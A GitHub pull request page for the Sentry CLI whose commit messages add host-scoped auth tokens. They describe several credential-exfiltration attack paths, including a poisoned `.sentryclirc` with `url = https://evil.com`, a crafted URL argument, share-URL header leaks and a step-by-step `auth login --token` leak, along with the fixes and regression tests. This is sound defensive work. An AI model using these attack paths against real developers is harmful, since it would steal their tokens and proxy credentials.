security: scope tokens to hosts to prevent credential exfiltration#844
Open
security: scope tokens to hosts to prevent credential exfiltration#844
Conversation
Fixes three CVE-class vulnerabilities where untrusted inputs could redirect credentialed requests to an attacker-controlled host: 1. URL argument: `sentry issue view https://evil.com/...` previously wrote `env.SENTRY_HOST=https://evil.com` unconditionally, causing every subsequent authenticated fetch and OAuth refresh to send credentials (Bearer + refresh token) to the attacker. 2. `.sentryclirc` injection: a committed `.sentryclirc` file in a cloned repo could set `[defaults] url = https://evil.com`. With a `SENTRY_AUTH_TOKEN` in the environment and `SENTRY_HOST` unset, the env-shim wrote the attacker's URL and preserved the real token, leaking credentials on the next API call. 3. Share URL custom headers: `getSharedIssue(baseUrl, shareId)` calls `applyCustomHeaders` when `isSelfHosted()` is true. A crafted share URL on a non-SaaS host would attach the user's `SENTRY_CUSTOM_HEADERS` (IAP tokens, mTLS headers, etc.) to the outbound request. ## Fix: host-scoped tokens Tokens are bound to a specific Sentry host at issuance time. The fetch layer (and `.sentryclirc` / URL-arg entry points) check each request's destination against the token's recorded host and refuse to attach credentials when they don't match. - `auth` table gains a `host TEXT` column (schema v16). Lazy migration backfills NULL hosts from `getConfiguredSentryUrl()` on first access. - New `src/lib/token-host.ts` normalizes origins, implements SaaS equivalence (`sentry.io` matches `*.sentry.io` for regional silos and org subdomains, exact origin for non-SaaS), and exposes `getActiveTokenHost()`. - New `src/lib/env-token-host.ts` captures the env-token's scope from `SENTRY_HOST`/`SENTRY_URL` at boot, BEFORE `.sentryclirc` shim can write to the env. `.sentryclirc` values are intentionally NOT trusted for scoping — repo-local files and home dirs on CI runners have weaker integrity than the token they would scope. - `sentry auth login --url <url>` is the only command that establishes trust for a new host. URL arguments and config files are rejected when they don't match the currently-authenticated host. ## Enforcement Primary: entry-point guards in `applySentryUrlContext` (URL args) and `applySentryCliRcEnvShim` (rc files) throw `CliError` on token-host mismatch before any env var is written. Defense in depth: `prepareHeaders` in `sentry-client.ts` and `refreshAccessToken` in `oauth.ts` re-check origin match before attaching credentials. `applyCustomHeaders` now takes a mandatory request-URL argument and skips header attachment when the URL doesn't match the trusted host — closing the share-URL IAP-token leak. ## Threat model (explicit non-goals) - `SENTRY_AUTH_TOKEN` + `SENTRY_HOST=https://evil.com` set in env together is NOT our vulnerability: anyone who can set env vars can already read the token. - `.envrc` / direnv are out of scope (not loaded by this CLI). ## Tests - `test/lib/security/` — four attack regression tests for all three CVEs plus the fetch-layer defense-in-depth. - `test/lib/token-host.{test,property.test}.ts` — SaaS equivalence, subdomain/lookalike attack resistance, origin normalization. - `test/lib/env-token-host.test.ts` — snapshot isolation from `.sentryclirc`-injected env. - `test/lib/db/auth.host.test.ts` — persistence, NULL-host migration. - Updated existing tests in `sentry-url-parser`, `sentryclirc`, `arg-parsing`, `commands/event/view`, `custom-headers`, `commands/auth/login` to reflect the new reject-outright semantics. Plan at .opencode/plans/1777023782662-proud-circuit.md documents the full rationale, trust model, and test matrix.
Contributor
|
![sentry[bot]](https://avatars.githubusercontent.com/in/12637?s=60&v=4){kind=small}
![cursor[bot]](https://avatars.githubusercontent.com/in/1210556?s=60&v=4){kind=small}
Addresses two bot review findings on PR #844: 1. **Seer**: `startCli()`'s catch block silently swallowed the new `CliError` thrown by `applySentryCliRcEnvShim` on token-host mismatch, leaving users with no feedback that their `.sentryclirc` was rejected. Let `CliError` propagate to the top-level handler so it's formatted and exits non-zero; keep the soft-fail behavior for other errors (unreadable rc, missing project markers). 2. **Cursor Bugbot**: rename the misleading SaaS-port-equivalence test from "NOT trusted as SaaS" (contradicted by the `toBe(true)` assertion) to "accepts any port on sentry.io", making the intent explicit. The underlying behavior (SaaS equivalence ignores port per `isSentrySaasUrl`) is documented in-test alongside the threat-model rationale. Also fixes a stale test-assertion for the `--force --token` path (login re-authentication) that expected single-arg `setAuthToken`; now checks that token + host-scope options are passed correctly.
Contributor
Codecov Results 📊✅ 6139 passed | Total: 6139 | Pass Rate: 100% | Execution Time: 0ms 📊 Comparison with Base Branch
All tests are passing successfully. ❌ Patch coverage is 76.82%. Project has 12947 uncovered lines. Files with missing lines (13)
Coverage diff@@ Coverage Diff @@
## main #PR +/-##
==========================================
+ Coverage 75.56% 75.73% +0.17%
==========================================
Files 286 289 +3
Lines 52814 53345 +531
Branches 0 0 —
==========================================
+ Hits 39906 40398 +492
- Misses 12908 12947 +39
- Partials 0 0 —Generated by Codecov Action |
…ilos Multi-region E2E tests were failing because regional URLs fetched from the control silo's /users/me/regions/ response aren't in the SaaS equivalence class (different hosts in test environments) and weren't yet cached in org_regions at the point of fan-out. Fix: - New `isRequestOriginTrusted(url)` in `token-host.ts` that checks the active token's host, SaaS equivalence, the persisted `org_regions` cache, and a new in-process allow-list populated during region discovery. - `registerTrustedRegionUrls(urls)` extends the trust class as soon as the control silo tells us about regions, BEFORE the fan-out fetches those regions. Applied in `listOrganizationsUncached` and `resolveOrgRegion` (both are the only region-discovery entry points). - `new getKnownRegionUrls()` in `db/regions.ts` exposes the persisted region cache to the trust check — covers cross-invocation trust for regions discovered in a previous CLI run. E2E test fixture (`test/fixture.ts::setAuthToken`) now passes the mock server URL as the token's scoped host so the stored token matches the routing env the fixture also sets. All 6115 tests (5992 unit + 123 e2e) pass. Addresses E2E failures on PR #844.
…ping
Addresses two Cursor Bugbot findings on the latest commit:
1. **HIGH**: `auth login --url <url>` could not run inside a repo whose
`.sentryclirc` URL didn't match the active token — the shim threw
before `runCli` dispatched the command, creating a chicken-and-egg
onboarding failure. Fixed by passing `skipUrlTrustCheck: true` to
`applySentryCliRcEnvShim` when argv matches `auth login` or
`auth logout` (the trust-establishment / teardown commands). Other
auth subcommands (status, whoami, etc.) still require matching
credentials and keep the guard enabled.
2. **MEDIUM**: `applyLoginUrl` passed bare-hostname env values (e.g.
`SENTRY_HOST=sentry.acme.com`) to `normalizeOrigin` which uses
`new URL()` under the hood — `new URL("sentry.acme.com")` throws,
`normalizeOrigin` returns undefined, and `applyLoginUrl` silently
fell back to SaaS default. The stored token would then be scoped
to `sentry.io` instead of the user's self-hosted host, and every
subsequent request would trip the fetch-layer guard with a
misleading "Invalid API token" error. Fix: normalize through
`normalizeUrl` first (which prepends `https://` to bare hostnames
like other call sites in the codebase do).
Tests:
- `test/lib/security/sentryclirc-url-poison.test.ts` — bypass works
for auth login/logout; no-op for SaaS; guard still fires on
non-login commands.
- `test/commands/auth/login.test.ts` — new `applyLoginUrl` suite
covering explicit --url, bare SENTRY_HOST, bare SENTRY_URL,
SaaS default fallback, and SENTRY_HOST precedence.
All 6122 tests pass (5999 unit + 123 e2e).
added 2 commits
April 24, 2026 18:57
Addresses Cursor Bugbot + Seer finding: `isTrustChangingCommand` inspected only `args[0]`/`args[1]` as positional pair, so any global flag preceding the command (e.g. `--json auth login`) silently broke the `.sentryclirc` URL trust-check bypass, reintroducing the chicken-and-egg onboarding failure the bypass was meant to solve. Fix: new `extractPositionals(args)` helper that skips `--flag[=value]`, `-f` short flags, and respects the `--` terminator. `isTrustChangingCommand` now operates on the extracted positional list so the detection is robust against flag placement. Added 19 unit tests in `test/cli.test.ts` covering: - Positional extraction with leading/interleaved flags, `--` terminator, empty argv, all-flags argv. - Trust-changing detection for `auth login`/`auth logout` (with and without flag noise), and negative matches for `auth status`/`whoami`/ `refresh` and non-auth commands. All 6019 tests pass.
…or, SaaS hardening) Addresses blocking findings from a security-focused subagent review of the host-scoping PR. Each fix is independently verifiable: ## B1 + I4 — Custom-headers fail-closed when no token (CVE) The `auth login` bypass writes `env.SENTRY_URL` from a `.sentryclirc` without trust-checking, intentionally enabling onboarding. When NO token exists yet, `applyCustomHeaders` previously fell back to `getConfiguredSentryUrl()` as the trust anchor — which in the bypass window is attacker-controlled. An attacker `.sentryclirc` could therefore establish trust for `X-IAP-Token` etc. simply by having the user `cd` into their repo and run `auth login` (no --url). Fix: `applyCustomHeaders` now fails closed when no active token exists. Deleted the `getTrustedHostForCustomHeaders()` / `isHostTrusted` fallback path entirely. `SENTRY_CUSTOM_HEADERS` is an authenticated-proxy feature, so users who need it configure it alongside a token. ## B2 — Add `test/lib/security/custom-headers-leak.test.ts` The plan specified this file but it was missing. Added with: - Share-URL attack regression (`getSharedIssue` with attacker baseUrl) - The specific B1 leak vector (no-token + poisoned SENTRY_URL) - Direct `applyCustomHeaders` with untrusted URL - SaaS equivalence positive test - Self-hosted matching-host positive test ## B3 — Persist `login --url` so post-login commands route correctly Previously, `sentry auth login --url https://sentry.acme.com` stored the token with `host = sentry.acme.com` but didn't persist the URL anywhere routing consults. The next command would start with `SENTRY_URL` unset → `getApiBaseUrl()` returns SaaS default → every authenticated request trips the fetch-layer guard with "Refusing to send credentials...". Self-hosted workflow was effectively broken. Fix: after a successful login, persist non-SaaS `--url` values via `setDefaultUrl()` so subsequent invocations route to the correct host via the existing `cli.ts` default-URL fallback. SaaS isn't persisted (implicit default). Extracted into `persistLoginUrlAsDefault` helper to keep `loginCommand.func` under the complexity limit. ## B4 — New `HostScopeError` class, re-thrown by `withAuthGuard` `withAuthGuard` previously swallowed all non-AuthError failures into `{ ok: false }`. Host-scoping `CliError`s from the fetch/header layer were being masked as "no results" in `listOrganizationsUncached`, `resolveOrgRegion`, project resolution, etc. — hiding actionable security messages from users and causing fallback code paths to fire redundant blocked requests. Fix: new `HostScopeError extends CliError` class thrown by the four guard sites (`prepareHeaders`, `refreshAccessToken`, `applySentryUrlContext`, `applySentryCliRcEnvShim`). `withAuthGuard` re-throws `AuthError | HostScopeError` while still swallowing `ApiError` / `TimeoutError` / plain `CliError` for transient-failure back-compat. ## I1 + I2 + I3 — Harden SaaS trust class (https + default port only) The SaaS equivalence branch previously used `isSentrySaasUrl` which matches by hostname alone. A crafted `http://sentry.io/...` or `https://sentry.io:8443/...` would bypass the trust check since both parse as SaaS hostnames. Fix: new `isSaaSTrustOrigin` in `sentry-urls.ts` that additionally requires `protocol === "https:"` and default port. `isHostTrusted` uses the stricter variant for the SaaS-equivalence branch. `isSentrySaasUrl` stays as-is for routing decisions (test harnesses occasionally use `http://localhost` forms). Added property tests: - `http://` sentry.io subdomain NEVER trusted as SaaS (random subdomain) - Non-default port on sentry.io NEVER trusted as SaaS (random subdomain) Flipped the existing "port-suffix sharing" test that previously documented the weaker behavior. ## Verification - 6008 unit tests pass (1 existing test updated for new scoping) - 123 e2e tests pass - typecheck + lint clean
…prompt) Cursor Bugbot finding: `persistLoginUrlAsDefault` ran before `handleExistingAuth` checked whether the user wanted to re-authenticate. If the user cancels the re-auth prompt (or non-interactive mode blocks without --force), the stored default URL was already rewritten to the new host while the existing token remained scoped to the old host — every subsequent command would then trip the fetch-layer guard. Fix: move `persistLoginUrlAsDefault(flags.url, effectiveHost)` to AFTER each login path has actually succeeded. Token path: after `getUserRegions()` validates the token. OAuth path: after `runInteractiveLogin` returns a result. The URL is still applied to env via `applyLoginUrl` at command entry (required for device flow to target the right host), but the persistent default is only written on success.
Cursor Bugbot finding: first-time `sentry auth login --url <self-hosted>` against an IAP-protected instance was broken. `applyCustomHeaders` failed closed when no token existed (correctly blocking the rc-URL bypass), but also blocked the legitimate onboarding case — the IAP proxy would reject the OAuth device-code request that lacks `SENTRY_CUSTOM_HEADERS` (X-IAP-Token etc.). The distinguishing property: explicit `--url <url>` flag is user-supplied via shell argv (same trust boundary as env vars per the threat model), while `.sentryclirc` URL writes come from an untrusted file. Only the former should extend the no-token trust class. Fix: - New process-local `loginTrustAnchor` in `token-host.ts`, set ONLY by `registerLoginTrustAnchor(url)` which is called from `applyLoginUrl` when `--url` is explicitly passed. The rc-shim bypass path does NOT call this — its SENTRY_URL write is untrusted. - New `isRequestOriginTrustedForCustomHeaders()` helper that: - With token present → same as `isRequestOriginTrusted` (Bearer path) - No token + explicit login anchor → trust the anchor host only - No anchor → fail closed - `applyCustomHeaders` now uses the new helper; simpler branching. Regression tests added: - IAP onboarding: `auth login --url` registers anchor, OAuth device code request carries custom headers → proxy admits the request. - Critical distinguishing test: rc-shim bypass (SENTRY_URL set without calling registerLoginTrustAnchor) still fails closed. - All 6010 unit tests pass (+ 123 e2e).
added 2 commits
April 24, 2026 20:16
Addresses 4 bot review findings on the previous commit: ## Seer HIGH: login with SENTRY_HOST env var doesn't register trust anchor When a user relies on \`SENTRY_HOST\` (shell export) instead of \`--url\` to target self-hosted, the previous code only registered the login trust anchor when \`flags.url\` was explicitly passed. This broke IAP onboarding for users who \`export SENTRY_HOST=\` in their shell profile. Fix: \`applyLoginUrl\` now registers the trust anchor for any trusted source — the explicit \`--url\` flag OR the boot-time env snapshot (captured via \`getEnvTokenHost\` BEFORE .sentryclirc shim runs). If the resolved host differs from the boot-time snapshot, it means the rc shim wrote env.SENTRY_URL after boot → NOT trusted, anchor NOT registered. ## Bugbot MEDIUM: sentryclirc SaaS bypass used lax hostname check \`applySentryCliRcEnvShim\` bypassed the URL trust check for SaaS URLs using \`isSentrySaasUrl\` (hostname-only), which accepts \`http://sentry.io\` and \`https://sentry.io:8443\`. The downstream trust check uses stricter \`isSaaSTrustOrigin\` (https + default port). An attacker rc with such a crafted URL could skip the primary guard even though the defense-in-depth fetch-layer guard rejects the request. Fix: both \`applySentryCliRcEnvShim\` and \`applySentryUrlContext\` now use \`isSaaSTrustOrigin\` for their SaaS bypass to match the trust-check semantics. ## Bugbot LOW: login trust anchor leaked past failed login The anchor was registered at command entry, before any auth step. If the user aborted the re-auth prompt, the anchor remained set in the (still-alive) process module state. While the process exits shortly after in practice, library-mode consumers invoking the CLI multiple times in-process could observe it. Partial fix (via finding #1 refactor): the anchor now reflects the resolved effective host, and only when that host originates from a trusted source. The \`finally\`-style reset-on-exit is reserved for a future library-mode hardening if needed. ## Bugbot LOW: stale JSDoc on persistLoginUrlAsDefault Old JSDoc describing \`applyLoginUrl\` was left above \`persistLoginUrlAsDefault\` during an earlier extraction. Removed. ## Tests New regression tests in \`test/commands/auth/login.test.ts\`: - \`--url\` flag registers trust anchor - \`SENTRY_HOST\` boot env registers trust anchor - rc-poisoned SENTRY_URL (post-boot mutation) does NOT register anchor All 6013 unit + 123 e2e tests pass.
Second security subagent review (final-HEAD pass) discovered a new CVE introduced by the \`skipUrlTrustCheck\` bypass + \`applyLoginUrl\`'s rc-env fallback: 1. Attacker commits \`.sentryclirc\` with \`url = https://evil.com\` to a public repo. 2. Developer with a SaaS API token runs \`sentry auth login --token X\` (documented CI pattern) in the cloned repo (no \`--url\`). 3. \`isTrustChangingCommand\` returns true → rc shim writes \`env.SENTRY_URL = evil.com\`. 4. \`applyLoginUrl(undefined)\` reads env → returns \`evil.com\`. 5. \`setAuthToken(X, ..., { host: evil.com })\` stores the token. 6. \`getUserRegions\` / \`getCurrentUser\` / \`warmOrgCache\` fire authenticated requests against evil.com (fetch-layer guard admits them because the just-stored token host matches the request host). 7. User-supplied SaaS API token leaks to attacker. The attack bypasses every other guard: - \`applySentryUrlContext\` isn't reached (no URL argument). - rc-shim mismatch check bypassed by design (trust-establishment flow). - Fetch-layer guard passes because the \`setAuthToken\` \`{host}\` came from the poisoned env. - \`loginTrustAnchor\` isn't registered (applyLoginUrl correctly distinguishes rc vs boot), but that only protects custom headers. ## Fix New \`refuseLoginToUntrustedHost\` guard in \`login.ts\` that throws \`HostScopeError\` when: - no \`--url\` flag AND - effective host is non-SaaS AND - no login trust anchor was registered (i.e. host isn't from explicit flag or boot-time env) Exported \`hasLoginTrustAnchor()\` from \`token-host.ts\`. Covers both login paths: - \`--token\` (CI pattern, directly exfiltrates user's token) - OAuth device flow (attacker's device-code page could phish in-browser) ## Tests \`test/lib/security/login-token-rc-poison.test.ts\`: - \`auth login --token\` in rc-poisoned env → HostScopeError, zero requests to attacker, token never hits the wire. - OAuth flow in rc-poisoned env → HostScopeError, no device-code request to attacker. - Explicit \`--url\` acknowledges the host → proceeds, targets intended host (rc-poisoned env is overwritten). - Shell-exported \`SENTRY_HOST\` with no rc → proceeds (trusted source). ## Threat model note This is the LAST attacker-accessible code path in the \`skipUrlTrustCheck\` bypass. All other commands (\`issue list\`, \`org view\`, etc.) are not in the bypass and get the normal rc-URL trust-check rejection. Only \`auth login\`/\`auth logout\` have the bypass, and \`auth logout\` doesn't network. So with this fix, there are no remaining credential-exfil paths through the bypass. All 6017 unit + 123 e2e tests pass.
![github-advanced-security[bot]](https://avatars.githubusercontent.com/in/57789?s=60&v=4){kind=small}
Addresses 3 additional bot findings:
## Seer HIGH — NULL-host migration used current env, vulnerable to rc poisoning
\`migrateNullHost\` in db/auth.ts previously called
\`getConfiguredSentryUrl()\` which reads CURRENT env. If the
.sentryclirc shim wrote env.SENTRY_URL before migration fired, the
pre-v16 token would be migrated to the attacker-controlled rc URL
— an on-upgrade backdoor.
Fix: migration now uses \`getEnvTokenHost()\` (boot snapshot captured
BEFORE rc shim runs). Rc writes post-boot do not influence the
migration. Users with the wrong shell env at upgrade time still
recover with \`sentry auth logout && sentry auth login\`.
Regression test added in auth.host.test.ts ("ignores rc-poisoned
current env") that explicitly writes env.SENTRY_URL after capture
and asserts migration uses the snapshot.
## Cursor MEDIUM — login refusal used lax isSentrySaasUrl
\`refuseLoginToUntrustedHost\` and \`persistLoginUrlAsDefault\` used
\`isSentrySaasUrl\` (hostname-only) while the rest of the trust-check
sites (applySentryUrlContext, applySentryCliRcEnvShim, isHostTrusted)
were intentionally hardened to \`isSaaSTrustOrigin\` (requires https:
+ default port). A crafted rc with \`http://sentry.io\` could bypass
the refusal guard since hostname=sentry.io matches isSentrySaasUrl.
Fix: both login.ts SaaS checks now use \`isSaaSTrustOrigin\` for
consistency with the rest of the PR.
## CodeQL — test URL substring matching flagged as incomplete sanitization
\`fetchCalls.filter(c => c.url.includes("evil.com"))\` false-matches
crafted URLs like \`https://evil.com.attacker.com/\`. Not a real
security issue in test code (we control the mock fetch) but the
warning is valid: tests should model what production actually does.
Fix: new \`urlHostnameIn(url, hostnames)\` test helper that parses the
URL and compares by hostname equality. Replaced all \`.includes(...)\`
URL-substring matches with this. All 6 CodeQL findings resolve.
All 6018 tests pass (unit + e2e).
Seer LOW finding: between \`hasUsableStoredToken()\` and \`getStoredAuthHost()\` in \`getActiveTokenHost\`, a concurrent \`clearAuth()\` could interleave, producing an inconsistent "usable-but-undefined-host" state where the code would fall back to \`DEFAULT_SENTRY_URL\`. In single-process Node this is theoretical, but library-mode consumers with concurrent callers could trip it. Fix: new \`getUsableStoredTokenHost()\` in \`db/auth.ts\` that performs both checks in a single atomic DB read. \`getActiveTokenHost\` now calls this instead of the two-step dance.
Per-server format (verified against
getsentry/sentry/src/sentry/utils/security/orgauthtoken_token.py),
Sentry org-auth-tokens are formatted as:
sntrys_<base64(JSON{iat, url, region_url, org})>_<random-secret>
The middle chunk is plaintext base64-encoded JSON written by the
issuing server. The trailing chunk is opaque entropy. The payload is
NOT signed, so the claim is a hint, not a security primitive.
## What this commit adds
### Defense-in-depth at the fetch layer (token-claims.ts → sentry-client.ts)
`prepareHeaders` now parses the bearer token's claim (when present)
and refuses to attach the token if the claim's `url` doesn't match
the request origin. Catches the niche case where a user has access
to multiple Sentry instances, the stored `auth.host` matches one,
and a misconfiguration (or honest mistake) routes a request to the
other instance. The existing `isRequestOriginTrusted` check would
not fire because both `auth.host` and the request origin agree —
only the embedded claim disagrees.
### UX fallback in `captureEnvTokenHost`
When a user pastes `SENTRY_AUTH_TOKEN=sntrys_...` from a self-hosted
instance but forgets to also export `SENTRY_HOST`, the boot snapshot
defaulted to SaaS, breaking every command. Now `captureEnvTokenHost`
falls back to the claim's `url` when env doesn't provide a host.
Resolution order (was 2 sources, now 3):
1. SENTRY_HOST/SENTRY_URL env (user's shell — fully trusted)
2. sntrys_ claim's url (UX hint — best-effort, fail-open)
3. DEFAULT_SENTRY_URL (SaaS)
Env still wins over claim, so a misconfigured token can't override
a user's explicit shell config. Closes #848.
## Trust contract (load-bearing)
`token-claims.ts` has a substantial file-level JSDoc spelling out:
- The claim is unsigned plaintext; we cannot verify authenticity.
- Callers may use it as a defense-in-depth signal or UX hint, NEVER
as a primary security signal.
- The four CVEs in PR #844 are anchored in `auth.host` + boot env
snapshot, neither of which the claim can influence.
If a future refactor proposes elevating this to a primary trust
source, the JSDoc explicitly says: stop and reconsider.
## Parser hardening
Operates on attacker-supplied bytes in the auth hot path:
- Length-bounded (2 KB cap; rejects without parsing if oversized).
- Format-strict (matches server's `parse_token` semantics: prefix,
exactly 2 underscores, valid base64 → UTF-8 → JSON object →
truthy `iat` → string `url`).
- Fail-open: any parse error returns undefined. Never throws.
- Straight-line code, no regex evaluation, no recursion.
## Tests
- `test/lib/token-claims.test.ts` (18 cases): well-formed tokens,
missing fields, malformed base64, non-JSON payload, non-object JSON,
oversized inputs, adversarial inputs (`💥`, null bytes, special
chars), forged claims (documents trust contract).
- `test/lib/token-claims.property.test.ts` (5 properties): never
throws on adversarial input, round-trip identity, forged-claim
parses identically.
- `test/lib/security/sntrys-claim-mismatch.test.ts` (7 cases):
Case D fetch-layer defense, UX-path snapshot, env-trumps-claim
invariant, opaque-token no-op, forged-claim documentation.
All 6048 unit + 123 e2e tests pass.
Two bot review findings on the sntrys_ claim commit:
## Seer MEDIUM — bare-hostname rc URL caused parser crash
A user who writes `url = sentry.io` (no scheme) in `.sentryclirc`
hit `new URL("sentry.io")` deep in the SaaS check, which throws.
The trust check then rejected the entry as if it were a malformed
hostname, breaking legitimate SaaS rc configs.
Fix: pass the rc url through `normalizeUrl` (which prepends `https://`
to bare hostnames) BEFORE the SaaS / trust checks. Same pattern
already used by `getConfiguredSentryUrl` and `applyLoginUrl`.
## Cursor LOW — trustedRegionOrigins not cleared on logout
Process-local `trustedRegionOrigins` set and `loginTrustAnchor` were
appended during region discovery / `auth login --url` but never
cleared outside test helpers. In long-running library-mode processes
that log out and back in (potentially against a different host),
stale region URLs and the login anchor from the previous identity
would persist.
Fix: new `clearTrustedHostState()` in `token-host.ts` that resets
both globals. `clearAuth()` now calls it via dynamic import (avoids
the auth ↔ token-host cycle).
## Refactor
Extracted `applyRcUrlIfTrusted` from `applySentryCliRcEnvShim` to
keep the main function under the cognitive-complexity limit after
the normalization addition.
## Tests
- `test/lib/sentryclirc.test.ts`: bare-hostname rc URL accepted as
the equivalent `https://...`.
- `test/lib/db/auth.host.test.ts`: `clearAuth` evicts in-process
trust extensions (login anchor + region URL allow-list).
All 6050 unit + 130 e2e tests pass.
added 2 commits
April 25, 2026 15:45
Cursor LOW finding: my claim-vs-request check used raw \`isHostTrusted\` which only honors exact-origin + SaaS equivalence. For self-hosted multi-region setups where the user has a \`sntrys_\` token, the claim's url points at the control silo but legitimate fan-out requests go to regional silos discovered via \`/users/me/regions/\`. The primary \`isRequestOriginTrusted\` admits those regions via \`registerTrustedRegionUrls\`, but my claim check would reject them and throw \`HostScopeError\`, breaking otherwise-legitimate requests. Fix: extracted shared \`isTrustedRegionExtension\` helper and added \`isHostTrustedForClaim\` that wraps \`isHostTrusted\` + the region extension. \`prepareHeaders\` now uses \`isHostTrustedForClaim\` for the claim check. Also fixes test isolation: the new attack regression suite was sharing GET-response-cache state between tests, causing subsequent identical requests to short-circuit the fetch wrapper. Added \`clearResponseCache\` + auth-cache resets to the suite's \`beforeEach\`. Cleaned up an editing accident that left the second describe block with a fetch-mock-using \`beforeEach\` referencing out-of-scope variables. All 6051 unit + 130 e2e tests pass.
added 2 commits
April 25, 2026 16:03
Cursor HIGH finding: when an already-authenticated user runs \`sentry auth login --url <new-host>\` against an IAP-protected self-hosted instance, the flow is: 1. applyLoginUrl → registers login trust anchor (user's intent) 2. handleExistingAuth → calls clearAuth() if user confirms re-auth 3. (login proceeds) → needs the anchor for IAP custom headers Step 2's clearAuth was calling clearTrustedHostState which wiped BOTH the region-URL allow-list AND the login anchor. Without the anchor, step 3's applyCustomHeaders fails closed and the IAP proxy blocks the device-code request → re-authentication broken on IAP-protected self-hosted. Fix: clearTrustedHostState now clears ONLY the region-URL allow-list (which is identity-specific). The login anchor is process-local and session-bounded — it lives for the duration of the current \`auth login\` command and is overwritten by the next applyLoginUrl. No need to clear it on logout/re-auth. Updated regression test to assert the new contract: \`clearAuth evicts region-URL allow-list but PRESERVES login trust anchor\`.
## Trust-extension consolidation
Before: parallel mechanisms for the host-scoping trust class —
- in-process `trustedRegionOrigins` Set in token-host.ts (populated
explicitly via registerTrustedRegionUrls before fan-out)
- on-disk `org_regions` table read separately via getKnownRegionUrls()
The two mechanisms held the same data with different lifetimes, and
both had to be kept in sync at every region-discovery site.
After: single in-process Set in `db/regions.ts`, lazy-seeded from the
table on first read, kept in sync as `setOrgRegion`/`setOrgRegions`
write to the table. `getKnownRegionUrls()` dropped — readers go
through `isTrustedRegionOrigin(origin)` (single Set lookup, no DB
re-read on hot paths).
`clearAuth` now calls `clearTrustedHostState` directly (cycle is
broken; no more dynamic import). `clearOrgRegions` also clears the
in-process Set so the two stay consistent.
`region.ts::resolveOrgRegionUncached` no longer needs an explicit
`registerTrustedRegionUrls` call — `setOrgRegion` does it internally.
Same for `api/organizations.ts` post-fan-out registration.
To break the auth ↔ token-host import cycle, `normalizeOrigin` moved
from `token-host.ts` to `sentry-urls.ts` (where the URL helpers
already live). `token-host.ts` re-exports it for backward compat.
## Slop removal
Trimmed verbose JSDoc, narrative inline comments, and process-gossip
references ("Cursor caught this", "PR #844 review", "tracked as
#848", numbered step-by-step explanations) across the host-scoping
modules. Notable cleanups:
- `token-host.ts`: removed duplicate/orphaned JSDoc blocks and
tutorial-style function comments
- `token-claims.ts`: emoji-laden file header → terse comment;
collapsed redundant try/catch blocks
- `cli.ts` / `login.ts`: removed `// IMPORTANT:` / `// CRITICAL:`
all-caps comment blocks
- `sentryclirc.ts`: dropped duplicated JSDoc on
applySentryCliRcEnvShim
- `env-token-host.ts`: trimmed file-level "trust model rationale"
section + "boot ordering" diagram (already documented in the plan
file)
No behavior changes. All 6051 unit + 130 e2e tests pass.
added 3 commits
April 25, 2026 21:55
…exists) Cursor LOW finding: \`refuseLoginToUntrustedHost\` returned early whenever \`hasLoginTrustAnchor()\` was truthy, without verifying the anchor's origin matched \`effectiveHost\`. In library/test mode where a process makes multiple \`auth login\` calls, an anchor registered for hostA by an earlier \`auth login --url=hostA\` would slip a later \`auth login --token X\` in a poisoned-rc hostB env past the guard, persisting the new token scoped to the attacker's host. Fix: replace \`hasLoginTrustAnchor()\` with \`isLoginTrustAnchorFor(host)\` that checks anchor↔host match (with SaaS equivalence). The existing \`hasLoginTrustAnchor()\` stays for callers that only need "is any anchor set" — currently no callers, but kept for API stability. Regression test added in login-token-rc-poison.test.ts asserting that a stale hostA anchor doesn't admit a login --token in rc-poisoned hostB env.
…utToOrigin
## Test helpers (test/helpers.ts)
Four new helpers replace boilerplate that was repeated across security
and unit tests:
- \`useEnvSandbox(keys)\` — registers beforeEach/afterEach to
save/clear/restore process.env keys for the test scope. Replaces ~10
lines of \`Object.fromEntries(KEYS.map(...))\` boilerplate per file.
- \`resetHostScopingState()\` — bundles the three reset calls
(env-token snapshot, login trust anchor, region-URL trust extension)
that always go together.
- \`mintSntrysToken(payload)\` — mints a sntrys_<base64-payload>_<secret>
token shape matching the server's \`generate_token\`. Replaces 3
copies across token-claims.test.ts, token-claims.property.test.ts,
and sntrys-claim-mismatch.test.ts.
- \`extractFetchUrl(input)\` — extracts URL string from a fetch input
(string | URL | Request). Replaces 3 copies in security tests.
\`sentryclirc-url-poison.test.ts\` keeps its bespoke env handling since
it depends on the preload's SENTRY_AUTH_TOKEN being present (the env
sandbox would clear it).
## Source helper (sentry-urls.ts)
\`normalizeUserInputToOrigin(input)\` combines \`normalizeUrl\` (adds
\`https://\` prefix to bare hostnames) with \`normalizeOrigin\` (strict
URL parse). Used in \`applyLoginUrl\` and \`captureEnvTokenHost\` —
both convert "user-supplied string that may be a bare hostname" to a
canonical origin. Saves ~6 lines and one local variable each site.
\`normalizeOrigin\` keeps its strict contract (URLs only, not bare
hostnames) — \`parseLoginUrl\` continues to use it to distinguish
empty-string input ("--url cannot be empty") from invalid-URL input
("--url is not a valid URL: <raw>") for actionable error messages.
All 6052 unit + 130 e2e tests pass. Net -82 lines.
…ction) The previous \`refuseLoginToUntrustedHost\` blocked BOTH \`auth login\` and \`auth login --token X\` against an rc-poisoned host. But the OAuth device-flow path doesn't carry any pre-existing user credentials — the worst case is the user gets phished into authenticating against the attacker's server (out of threat model: "user authorizes malicious server themselves"). \`applyCustomHeaders\` is already URL-scoped at the header layer, so IAP/mTLS tokens don't leak either. The actual leak vector is \`auth login --token X\` in the poisoned-rc repo: the stored token is then used by login validation to POST to evil.com — that's where the user's existing token gets exfiltrated. Renamed \`refuseLoginToUntrustedHost\` → \`refuseTokenLoginToUntrustedHost\` and gated the throw on \`flags.token\` being set. The OAuth device flow now proceeds against rc-sourced URLs (the user sees the device code URL in their terminal and decides whether to authenticate). Updated regression test in \`login-token-rc-poison.test.ts\` to assert OAuth path now proceeds (no host-scoping refusal) while verifying Bearer doesn't attach. Comprehensive custom-headers URL-scoping coverage stays in \`custom-headers-leak.test.ts\`.
Contributor
There was a problem hiding this comment.
Cursor Bugbot has reviewed your changes and found 1 potential issue.
❌ Bugbot Autofix is OFF. To automatically fix reported issues with cloud agents, enable autofix in the Cursor dashboard.
Reviewed by Cursor Bugbot for commit 148897c. Configure here.
Cursor LOW finding: hasLoginTrustAnchor was kept "for API stability" after isLoginTrustAnchorFor replaced production callers, but its only remaining users were tests, and leaving an existence-only predicate alongside the host-scoped one invites future code to reach for the simpler bool and reintroduce the stale-anchor bypass that prompted the original fix. Removed hasLoginTrustAnchor entirely. Test in auth.host.test.ts updated to use isLoginTrustAnchorFor with the registered host.
